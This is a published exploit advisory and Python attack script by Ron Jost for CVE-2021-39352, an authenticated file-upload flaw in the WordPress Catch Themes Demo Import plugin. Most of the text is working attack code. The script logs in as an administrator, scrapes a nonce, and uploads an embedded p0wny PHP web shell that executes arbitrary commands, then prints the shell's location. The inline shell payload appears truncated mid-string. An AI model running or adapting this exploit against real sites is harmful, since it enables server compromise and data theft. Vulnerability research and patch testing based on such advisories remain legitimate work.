Authored by Ron Jost

WordPress Catch Themes Demo Import plugin versions 1.6.1 and below suffer from a remote shell upload vulnerability.

advisories | CVE-2021-39352

# Exploit Title: WordPress Plugin Catch Themes Demo Import 1.6.1 - Remote Code Execution (RCE) (Authenticated)
# Date 07.12.2021
# Exploit Author: Ron Jost (Hacker5preme)
# Vendor Homepage: https://wordpress.org/plugins/catch-themes-demo-import/
# Software Link: https://downloads.wordpress.org/plugin/catch-themes-demo-import.1.6.1.zip
# Version: <= 1.6.1
# Tested on: Ubuntu 18.04
# CVE: CVE-2021-39352
# CWE: CWE-434
# Documentation: https://github.com/Hacker5preme/Exploits/blob/main/Wordpress/CVE-2021-39352/README.md


'''
Description:
The Catch Themes Demo Import WordPress plugin is vulnerable to arbitrary file uploads via the import functionality
found in the ~/inc/CatchThemesDemoImport.php file, in versions up to 1.7,
due to insufficient file type validation. This makes it possible for an attacker with administrative privileges to upload
malicious files that can be used to achieve remote code execution.
'''

# Banner:
banner = """
____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____
||C |||V |||E |||- |||2 |||0 |||2 |||1 |||- |||3 |||9 |||3 |||5 |||2 ||
||__|||__|||__|||__|||__|||__|||__|||__|||__|||__|||__|||__|||__|||__||
|/__|/__|/__|/__|/__|/__|/__|/__|/__|/__|/__|/__|/__|/__|

[+] Catch Themes Demo Import RCE (Authenticated)
[@] Developed by Ron Jost (Hacker5preme)

"""
print(banner)


import argparse
import requests
from datetime import datetime

# User-Input:
my_parser = argparse.ArgumentParser(description='Wordpress Plugin Catch Themes Demo Import - RCE (Authenticated)')
my_parser.add_argument('-T', '--IP', type=str)
my_parser.add_argument('-P', '--PORT', type=str)
my_parser.add_argument('-U', '--PATH', type=str)
my_parser.add_argument('-u', '--USERNAME', type=str)
my_parser.add_argument('-p', '--PASSWORD', type=str)
args = my_parser.parse_args()
target_ip = args.IP
target_port = args.PORT
wp_path = args.PATH
username = args.USERNAME
password = args.PASSWORD
print('')
print('[*] Starting Exploit at: ' + str(datetime.now().strftime('%H:%M:%S')))
print('')

# Authentication:
session = requests.Session()
auth_url = 'http://' + target_ip + ':' + target_port + wp_path + 'wp-login.php'
check = session.get(auth_url)
# Header:
header = {
'Host': target_ip,
'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded',
'Origin': 'http://' + target_ip,
'Connection': 'close',
'Upgrade-Insecure-Requests': '1'
}

# Body:
body = {
'log': username,
'pwd': password,
'wp-submit': 'Log In',
'testcookie': '1'
}
auth = session.post(auth_url, headers=header, data=body)

# Get Security nonce value:
check = session.get('http://' + target_ip + ':' + target_port + wp_path+ 'wp-admin/themes.php?page=catch-themes-demo-import').text
nonce = check[check.find('ajax_nonce"') + 13:]
wp_nonce = nonce[:nonce.find('"')]
print(wp_nonce)

# Exploit:
exploit_url = 'http://' + target_ip + ':' + target_port + wp_path + 'wp-admin/admin-ajax.php'

# Header (Exploit):
header = {
"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:94.0) Gecko/20100101 Firefox/94.0",
"Accept": "*/*",
"Accept-Language": "de,en-US;q=0.7,en;q=0.3",
"Accept-Encoding": "gzip, deflate",
'Referer': 'http://' + target_ip + '/wordpress/wp-admin/themes.php?page=catch-themes-demo-import',
"X-Requested-With": "XMLHttpRequest",
"Content-Type": "multipart/form-data; boundary=---------------------------121585879226594965303252407916",
"Origin": "http://" + target_ip,
"Connection": "close"
}

# Exploit Payload (Using p0wny shell: https://github.com/flozz/p0wny-shell):
shell_payload = "-----------------------------121585879226594965303252407916rnContent-Disposition: form-data; name="action"rnrnctdi_import_demo_datarn-----------------------------121585879226594965303252407916rnContent-Disposition: form-data; name="security"rnrn" + wp_nonce + "rn-----------------------------121585879226594965303252407916rnContent-Disposition: form-data; name="selected"rnrnundefinedrn-----------------------------121585879226594965303252407916rnContent-Disposition: form-data; name="content_file"; filename="shell.php"rnContent-Type: application/x-phprnrn<?phpnnfunction featureShell($cmd, $cwd) {n $stdout = array();nn if (preg_match("/^s*cds*$/", $cmd)) {n // passn } elseif (preg_match("/^s*cds+(.+)s*(2>&1)?$/", $cmd)) {n chdir($cwd);n preg_match("/^s*cds+([^s]+)s*(2>&1)?$/", $cmd, $match);n chdir($match[1]);n } elseif (preg_match("/^s*downloads+[^s]+s*(2>&1)?$/", $cmd)) {n chdir($cwd);n preg_match("/^s*downloads+([^s]+)s*(2>&1)?$/", $cmd, $match);n return featureDownload($match[1]);n } else {n chdir($cwd);n exec($cmd, $stdout);n }nn return array(n "stdout" => $stdout,n "cwd" => getcwd()n );n}nnfunction featurePwd() {n return array("cwd" => getcwd());n}nnfunction featureHint($fileName, $cwd, $type) {n chdir($cwd);n if ($type == 'cmd') {n $cmd = "compgen -c $fileName";n } else {n $cmd = "compgen -f $fileName";n }n $cmd = "/bin/bash -c "$cmd"";n $files = explode("n", shell_exec($cmd));n return array(n 'files' => $files,n );n}nnfunction featureDownload($filePath) {n $file = @file_get_contents($filePath);n if ($file === FALSE) {n return array(n 'stdout' => array('File not found / no read permission.'),n 'cwd' => getcwd()n );n } else {n return array(n 'name' => basename($filePath),n 'file' => base64_encode($file)n );n }n}nnfunction featureUpload($path, $file, $cwd) {n chdir($cwd);n $f = @fopen($path, 'wb');n if ($f === FALSE) {n return array(n 'stdout' => array('Invalid path / no write permission.'),n 'cwd' => getcwd()n );n } else {n fwrite($f, base64_decode($file));n fclose($f);n return array(n 'stdout' => array('Done.'),n 'cwd' => getcwd()n );n }n}nnif (isset($_GET["feature"])) {nn $response = NULL;nn switch ($_GET["feature"]) {n case "shell":n $cmd = $_POST['cmd'];n if (!preg_match('/2>/', $cmd)) {n $cmd .= ' 2>&1';n }n $response = featureShell($cmd, $_POST["cwd"]);n break;n case "pwd":n $response = featurePwd();n break;n case "hint":n $response = featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']);n break;n case 'upload':n $response = featureUpload($_POST['path'], $_POST['file'], $_POST['cwd']);n }nn header("Content-Type: application/json");n echo json_encode($response);n die();n}nn?><!DOCTYPE html>nn<html>nn <head>n <meta charset="UTF-8" />n <title>[email protected]:~#</title>n <meta name="viewport" content="width=device-width, initial-scale=1.0" />n <style>n html, body {n margin: 0;n padding: 0;n background: #333;n color: #eee;n font-family: monospace;n }nn *::-webkit-scrollbar-track {n border-radius: 8px;n background-color: #353535;n }nn *::-webkit-scrollbar {n width: 8px;n height: 8px;n }nn *::-webkit-scrollbar-
session.post(exploit_url, headers=header, data=shell_payload)
print('[*] Exploit finished at: ' + str(datetime.now().strftime('%H:%M:%S')))
print(' -> Webshell: http://' + target_ip + ':' + target_port + wp_path + 'wp-content/uploads/' + str(datetime.now().strftime('%Y')) + '/' + str(datetime.now().strftime('%m')) + '/shell.php')
print('')